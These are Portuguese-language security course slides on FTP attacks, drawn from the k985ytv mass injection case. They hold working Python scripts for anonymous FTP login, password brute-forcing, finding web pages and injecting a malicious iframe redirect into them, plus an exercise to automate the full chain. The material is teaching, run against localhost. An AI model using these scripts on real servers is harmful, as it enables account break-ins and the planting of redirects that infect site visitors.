FTP: Exploração, Força Bruta e Web Inject

Segurança da Informação

Charles Tim Batista Garrocho

Instituto Federal de São Paulo – IFSP
Campus Campos do Jordão

garrocho.ifspcjo.edu.br/SEGA6

charles.garrocho@ifsp.edu.br

Curso Superior de TADS

Massive Script Injection (k985ytv)

No ataque **k985ytv**, os invasores usaram credenciais de FTP anônimas e roubadas para obter acesso a 22.400 domínios exclusivos.

Com o acesso, os atacantes **injetaram** javascript para redirecionar páginas confiáveis para um domínio mal intencionado na Ucrânia.

Com o redirecionamento, o ucraniano **explorou** as vítimas para instalar um programa que roubou as informações do cartão de crédito dos clientes.

Examinando os **logs** FTP dos servidores infectados, podemos ver o que aconteceu. Um script conectado ao host de destino verificou se continha uma página padrão chamada index.

Em seguida, o invasor enviou **um novo index**, contendo o script de redirecionamento mal intencionado. O servidor infectado então explorou todos os clientes vulneráveis que visitaram suas páginas.

Log do Servidor FTP

```
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "LIST /
   folderthis/folderthat/" 226 1862
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "TYPE I"
   200 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "PASV"
   227 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "SIZE
   index.htm" 213 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "RETR
   index.htm" 226 2573
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "TYPE I"
   200 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "PASV"
   227 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "STOR
   index.htm" 226 3018
```

Instalando e Configurando o Serviço FTP

Antes de partir para a implementação, você deverá ter instalado o serviço do FTP em sua máquina. Assim, **instale** o FTP a partir da seguinte linha de comando:

```
tim@charles:~$ sudo apt-get install vsftpd
```

Após instalar o FTP, você deverá **iniciar** o serviço através da seguinte linha de comando:

```
tim@charles:~$ sudo /etc/init.d/vsftpd start
[ ok ] Starting vsftpd (via systemctl): vsftpd.service.
tim@charles:~$
```

Com o serviço FTP instalado, você deverá configurá-lo.
Siga o seguinte tutorial: `https://linuxconfig.org/how-to-setup-and-use-ftp-server-in-ubuntu-linux`

Login Anonimo FTP

O script aceita o nome do host alvo para tentar o login anônimo. A biblioteca **ftplib** é utilizada para conectar ao serviço FTP.

```
 6 def loginAnonimo(host_alvo):
 7     try:
 8         ftp = ftplib.FTP(host_alvo, timeout=5)
 9         ftp.login('anonymous', 'anonymous')
10         print '[*] ' + host_alvo + ' FTP Login Anonimo Sucesso.'
11         ftp.quit()
12         return True
13     except Exception, e:
14         print '[-] ' + host_alvo + ' FTP Login Anonimo Falhou.'
15     return False
```

Abaixo um exemplo de execução do script:

```
tim@charles:~$ python login_anonimo.py -H 127.0.0.1
[*] 127.0.0.1 FTP Login Anonimo Sucesso.
tim@charles:~$
```

Força Bruta para Login em FTP

Abaixo um script de força bruta para login em serviço FTP.

```
 6 def loginBruto(host_alvo, arquivo_senhas):
 7     arq_sen = open(arquivo_senhas, 'r')
 8     for linha in arq_sen.readlines():
 9         usuario = linha.split(':')[0]
10         senha = linha.split(':')[1].strip('\r').strip('\n')
11         print "[+] Tentando: " + usuario + "/" + senha
12         try:
13             ftp = ftplib.FTP(host_alvo, timeout=5)
14             ftp.login(usuario, senha)
15             print '\n[*] ' + host_alvo + \
16                 ' FTP Login Sucesso: ' + usuario + "/" + senha
17             ftp.quit()
18             return (usuario, senha)
19         except Exception, e:
20             pass
21     print '\n[-] Não foi possível descobrir as credenciais FTP.'
22     return (None, None)
```

O arquivo de senhas é aberto e para cada novo usuário e senha é tentado estabelecer uma conexão com o serviço FTP.

Força Bruta para Login em FTP

Abaixo é apresentado um exemplo de execução deste script.

```
tim@charles:~$ python forca_bruta_ftp.py -H 127.0.0.1 -f senhas.txt
[+] Tentando: administrator/password
[+] Tentando: admin/12345
[+] Tentando: root/secreto
[+] Tentando: guest/guest
[+] Tentando: root/poderoso
[+] Tentando: anonymous/anonymous

[*] 127.0.0.1 FTP Login Sucesso: anonymous/anonymous
tim@charles:~$
```

Neste caso, 6 senhas são testadas e apenas o login anonimo foi aceito.

Procurando Páginas Web no servidor FTP

A função **paginasPadrao** irá encontrar arquivos padrões de páginas Web.

```
 6 def paginasPadrao(ftp):
 7     try:
 8         lista_diretorios = ftp.nlst()
 9     except:
10         lista_diretorios = []
11         print '[-] Não foi possível listar o conteúdo.'
12         return
13
14     lista_arquivos = []
15     for arquivo in lista_diretorios:
16         arq = arquivo.lower()
17         if '.php' in arq or '.htm' in arq or '.asp' in arq:
18             print '[+] Encontrado a página padrão: ' + arquivo
19             lista_arquivos.append(arquivo)
20     return lista_arquivos
```

Exemplo de execução do script:

```
tim@charles:~$ python paginas_padrao_ftp.py -H 127.0.0.1 -u ciclano -s ciclano123
[+] Encontrado a página padrão: index.html
tim@charles:~$
```

Injetando Informações Maliciosas em Páginas WEB

A função **paginaInject** irá baixar a página e adicionar ao final um IFrame.

```
 7 def paginaInject(ftp, pagina, redirecionar):
 8     f = open(pagina + '.tmp', 'w')
 9     ftp.retrlines('RETR ' + pagina, f.write)
10     print '[+] Página baixada: ' + pagina
11
12     f.write(redirecionar)
13     f.close()
14     print '[+] Injetado IFrame malicioso em: ' + pagina
15
16     ftp.storlines('STOR ' + pagina, open(pagina + '.tmp'))
17     print '[+] Página injetada enviada: ' + pagina
```

Exemplo de execução do script:

```
tim@charles:~$ python injetar_pagina_ftp.py -H 127.0.0.1 -u ciclano -s ciclano123 -r
 '<iframe src="http:\\\\127.0.0.1:8080\\exploit"></iframe>'
[+] Página baixada: index.html
[+] Injetado IFrame malicioso em: index.html
[+] Página injetada enviada: index.html
tim@charles:~$
```

Atividades

Agora que demonstramos que podemos descobrir uma senha de um serviço FTP, explorar páginas e injetar informações nas páginas, vamos expandi-lo para fazer tudo de forma automatizada.

Você deverá criar em apenas um script, um programa que irá receber apenas um host alvo, um arquivo de dicionário (com usuários e senhas), e o texto de redirecionamento.

O script irá automaticamente:

- Descobrir um usuário e senha para login;
- Após o login, deverá listar todas as páginas padrões web, inclusive páginas em pastas mais internas (utilize recursão aqui);
- Altere todas as páginas padrões web adicionando o redirecionamento ao final deles.